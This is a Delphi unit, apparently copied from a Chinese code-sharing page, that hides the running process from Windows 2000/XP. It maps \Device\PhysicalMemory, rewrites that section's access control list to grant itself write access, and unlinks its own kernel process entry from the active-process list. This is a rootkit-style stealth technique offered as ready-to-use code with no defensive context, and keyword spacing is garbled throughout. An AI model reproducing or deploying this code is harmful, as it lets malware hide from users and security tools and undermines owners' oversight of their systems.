Delphi隐藏进程

  1. interface
  2. functionMyHideProcess: Boolean;
  3. implementation
  4. uses
  5. Windows,
  6. Classes, AclAPI, accCtrl;
  7. type
  8. NTSTATUS = LongInt;
  9. const
  10. //NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
  11. STATUS_INFO_LENGTH_MISMATCH = NTSTATUS($C0000004);
  12. STATUS_ACCESS_DENIED = NTSTATUS($C0000022);
  13. OBJ_INHERIT = $00000002;
  14. OBJ_PERMANENT = $00000010;
  15. OBJ_EXCLUSIVE = $00000020;
  16. OBJ_CASE_INSENSITIVE = $00000040;
  17. OBJ_OPENIF = $00000080;
  18. OBJ_OPENLINK = $00000100;
  19. OBJ_KERNEL_HANDLE = $00000200;
  20. OBJ_VALID_ATTRIBUTES = $000003F2;
  21. type
  22. PIO_STATUS_BLOCK = ^IO_STATUS_BLOCK;
  23. IO_STATUS_BLOCK = record
  24. Status: NTSTATUS;
  25. FObject: DWORD;
  26. end;
  27. PUNICODE_STRING = ^UNICODE_STRING;
  28. UNICODE_STRING = record
  29. Length: Word;
  30. MaximumLength: Word;
  31. Buffer: PWideChar;
  32. end;
  33. POBJECT_ATTRIBUTES = ^OBJECT_ATTRIBUTES;
  34. OBJECT_ATTRIBUTES = record
  35. Length: DWORD;
  36. RootDirectory: Pointer;
  37. ObjectName: PUNICODE_STRING;
  38. Attributes: DWORD;
  39. SecurityDescriptor: Pointer;
  40. SecurityQualityOfService: Pointer;
  41. end;
  42. TZwOpenSection = function(SectionHandle: PHandle;
  43. DesiredAccess: ACCESS_MASK;
  44. ObjectAttributes: POBJECT_ATTRIBUTES): NTSTATUS; stdcall;
  45. TRTLINITUNICODESTRING = procedure(DestinationString: PUNICODE_STRING;
  46. SourceString: PWideChar); stdcall;
  47. var
  48. RtlInitUnicodeString: TRTLINITUNICODESTRING = nil;
  49. ZwOpenSection: TZwOpenSection = nil;
  50. g_hNtDLL: THandle = 0;
  51. g_pMapPhysicalMemory: Pointer = nil;
  52. g_hMPM: THandle = 0;
  53. g_hMPM2: THandle = 0;
  54. g_osvi: OSVERSIONINFO;
  55. b_hide: Boolean = false;
  56. //---------------------------------------------------------------------------
  57. functionInitNTDLL: Boolean;
  58. begin
  59. g_hNtDLL := LoadLibrary('ntdll.dll');
  60. if0 = g_hNtDLL then
  61. begin
  62. Result := false;
  63. Exit;
  64. end;
  65. RtlInitUnicodeString := GetProcAddress(g_hNtDLL, 'RtlInitUnicodeString');
  66. ZwOpenSection := GetProcAddress(g_hNtDLL, 'ZwOpenSection');
  67. Result := True;
  68. end;
  69. //---------------------------------------------------------------------------
  70. procedureCloseNTDLL;
  71. begin
  72. if (0 <> g_hNtDLL) then
  73. FreeLibrary(g_hNtDLL);
  74. g_hNtDLL := 0;
  75. end;
  76. //---------------------------------------------------------------------------
  77. procedureSetPhyscialMemorySectionCanBeWrited(hSection: THandle);
  78. var
  79. pDacl: PACL;
  80. pSD: PPSECURITY_DESCRIPTOR;
  81. pNewDacl: PACL;
  82. dwRes: DWORD;
  83. ea: EXPLICIT_ACCESS;
  84. begin
  85. pDacl := nil;
  86. pSD := nil;
  87. pNewDacl := nil;
  88. dwRes := GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pDacl, nil, pSD);
  89. if ERROR_SUCCESS <> dwRes then
  90. begin
  91. if Assigned(pSD) then
  92. LocalFree(Hlocal(pSD^));
  93. if Assigned(pNewDacl) then
  94. LocalFree(HLocal(pNewDacl));
  95. end;
  96. ZeroMemory(@ea, sizeof(EXPLICIT_ACCESS));
  97. ea.grfAccessPermissions := SECTION_MAP_WRITE;
  98. ea.grfAccessMode := GRANT_ACCESS;
  99. ea.grfInheritance := NO_INHERITANCE;
  100. ea.Trustee.TrusteeForm := TRUSTEE_IS_NAME;
  101. ea.Trustee.TrusteeType := TRUSTEE_IS_USER;
  102. ea.Trustee.ptstrName := 'CURRENT_USER';
  103. dwRes := SetEntriesInAcl(1, @ea, pDacl, pNewDacl);
  104. if ERROR_SUCCESS <> dwRes then
  105. begin
  106. if Assigned(pSD) then
  107. LocalFree(Hlocal(pSD^));
  108. if Assigned(pNewDacl) then
  109. LocalFree(HLocal(pNewDacl));
  110. end;
  111. dwRes := SetSecurityInfo
  112. (hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pNewDacl, nil);
  113. if ERROR_SUCCESS <> dwRes then
  114. begin
  115. if Assigned(pSD) then
  116. LocalFree(Hlocal(pSD^));
  117. if Assigned(pNewDacl) then
  118. LocalFree(HLocal(pNewDacl));
  119. end;
  120. end;
  121. //---------------------------------------------------------------------------
  122. functionOpenPhysicalMemory: THandle;
  123. var
  124. status: NTSTATUS;
  125. physmemString: UNICODE_STRING;
  126. attributes: OBJECT_ATTRIBUTES;
  127. PhyDirectory: DWORD;
  128. begin
  129. g_osvi.dwOSVersionInfoSize := sizeof(OSVERSIONINFO);
  130. GetVersionEx(g_osvi);
  131. if (5 <> g_osvi.dwMajorVersion) then
  132. begin
  133. Result := 0;
  134. Exit;
  135. end;
  136. case g_osvi.dwMinorVersion of
  137. 0: PhyDirectory := $30000;
  138. 1: PhyDirectory := $39000;
  139. else
  140. begin
  141. Result := 0;
  142. Exit;
  143. end;
  144. end;
  145. RtlInitUnicodeString(@physmemString, '\Device\PhysicalMemory');
  146. attributes.Length := SizeOf(OBJECT_ATTRIBUTES);
  147. attributes.RootDirectory := nil;
  148. attributes.ObjectName := @physmemString;
  149. attributes.Attributes := 0;
  150. attributes.SecurityDescriptor := nil;
  151. attributes.SecurityQualityOfService := nil;
  152. status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);
  153. if (status = STATUS_ACCESS_DENIED) then
  154. begin
  155. ZwOpenSection(@g_hMPM, READ_CONTROL or WRITE_DAC, @attributes);
  156. SetPhyscialMemorySectionCanBeWrited(g_hMPM);
  157. CloseHandle(g_hMPM);
  158. status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);
  159. end;
  160. ifnot (LongInt(status) >= 0) then
  161. begin
  162. Result := 0;
  163. Exit;
  164. end;
  165. g_pMapPhysicalMemory := MapViewOfFile(g_hMPM,
  166. FILE_MAP_READ or FILE_MAP_WRITE, 0, PhyDirectory, $1000);
  167. if (g_pMapPhysicalMemory = nil) then
  168. begin
  169. Result := 0;
  170. Exit;
  171. end;
  172. Result := g_hMPM;
  173. end;
  174. //---------------------------------------------------------------------------
  175. functionLinearToPhys(BaseAddress: PULONG; addr: Pointer): Pointer;
  176. var
  177. VAddr, PGDE, PTE, PAddr, tmp: DWORD;
  178. begin
  179. VAddr := DWORD(addr);
  180. // PGDE := BaseAddress[VAddr shr 22];
  181. PGDE := PULONG(DWORD(BaseAddress) + (VAddr shr22) * SizeOf(ULONG))^; // modify by dot.
  182. if0 = (PGDE and1) then
  183. begin
  184. Result := nil;
  185. Exit;
  186. end;
  187. tmp := PGDE and$00000080;
  188. if (0 <> tmp) then
  189. begin
  190. PAddr := (PGDE and$FFC00000) + (VAddr and$003FFFFF);
  191. end
  192. else
  193. begin
  194. PGDE := DWORD(MapViewOfFile(g_hMPM, 4, 0, PGDE and$FFFFF000, $1000));
  195. // PTE := (PDWORD(PGDE))[(VAddr and $003FF000) shr 12];
  196. PTE := PDWORD(PGDE + ((VAddr and$003FF000) shr12) * SizeOf(DWord))^; // modify by dot.
  197. if (0 = (PTE and1)) then
  198. begin
  199. Result := nil;
  200. Exit;
  201. end;
  202. PAddr := (PTE and$FFFFF000) + (VAddr and$00000FFF);
  203. UnmapViewOfFile(Pointer(PGDE));
  204. end;
  205. Result := Pointer(PAddr);
  206. end;
  207. //---------------------------------------------------------------------------
  208. functionGetData(addr: Pointer): DWORD;
  209. var
  210. phys, ret: DWORD;
  211. tmp: PDWORD;
  212. begin
  213. phys := ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr)));
  214. tmp := PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_READ or FILE_MAP_WRITE, 0,
  215. phys and$FFFFF000, $1000));
  216. if (nil = tmp) then
  217. begin
  218. Result := 0;
  219. Exit;
  220. end;
  221. // ret := tmp[(phys and $FFF) shr 2];
  222. ret := PDWORD(DWORD(tmp) + ((phys and$FFF) shr2) * SizeOf(DWord))^; // modify by dot.
  223. UnmapViewOfFile(tmp);
  224. Result := ret;
  225. end;
  226. functionSetData(addr: Pointer; data: DWORD): Boolean;
  227. var
  228. phys: DWORD;
  229. tmp: PDWORD;
  230. begin
  231. phys := ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr)));
  232. tmp := PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys and$FFFFF000, $1000));
  233. if (nil = tmp) then
  234. begin
  235. Result := false;
  236. Exit;
  237. end;
  238. // tmp[(phys and $FFF) shr 2] := data;
  239. PDWORD(DWORD(tmp) + ((phys and$FFF) shr2) * SizeOf(DWord))^ := data; // modify by dot.
  240. UnmapViewOfFile(tmp);
  241. Result := TRUE;
  242. end;
  243. //---------------------------------------------------------------------------
  244. {long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)
  245. begin
  246. ExitProcess(0);
  247. return 1 ;
  248. end }
  249. //---------------------------------------------------------------------------
  250. functionYHideProcess: Boolean;
  251. var
  252. thread, process: DWORD;
  253. fw, bw: DWORD;
  254. begin
  255. // SetUnhandledExceptionFilter(exeception);
  256. if (FALSE = InitNTDLL) then
  257. begin
  258. Result := FALSE;
  259. Exit;
  260. end;
  261. if (0 = OpenPhysicalMemory) then
  262. begin
  263. Result := FALSE;
  264. Exit;
  265. end;
  266. thread := GetData(Pointer($FFDFF124)); //kteb
  267. process := GetData(Pointer(thread + $44)); //kpeb
  268. if (0 = g_osvi.dwMinorVersion) then
  269. begin
  270. fw := GetData(Pointer(process + $A0));
  271. bw := GetData(Pointer(process + $A4));
  272. SetData(Pointer(fw + 4), bw);
  273. SetData(Pointer(bw), fw);
  274. Result := TRUE;
  275. end
  276. elseif (1 = g_osvi.dwMinorVersion) then
  277. begin
  278. fw := GetData(Pointer(process + $88));
  279. bw := GetData(Pointer(process + $8C));
  280. SetData(Pointer(fw + 4), bw);
  281. SetData(Pointer(bw), fw);
  282. Result := TRUE;
  283. end
  284. else
  285. begin
  286. Result := False;
  287. end;
  288. CloseHandle(g_hMPM);
  289. CloseNTDLL;
  290. end;
  291. functionMyHideProcess: Boolean;
  292. begin
  293. ifnot b_hide then
  294. begin
  295. b_hide := YHideProcess;
  296. end;
  297. Result := b_hide;
  298. end;
  299. end.


联系电话:
020-00000000
联系电话:
020-00000000
联系电话:
020-12345678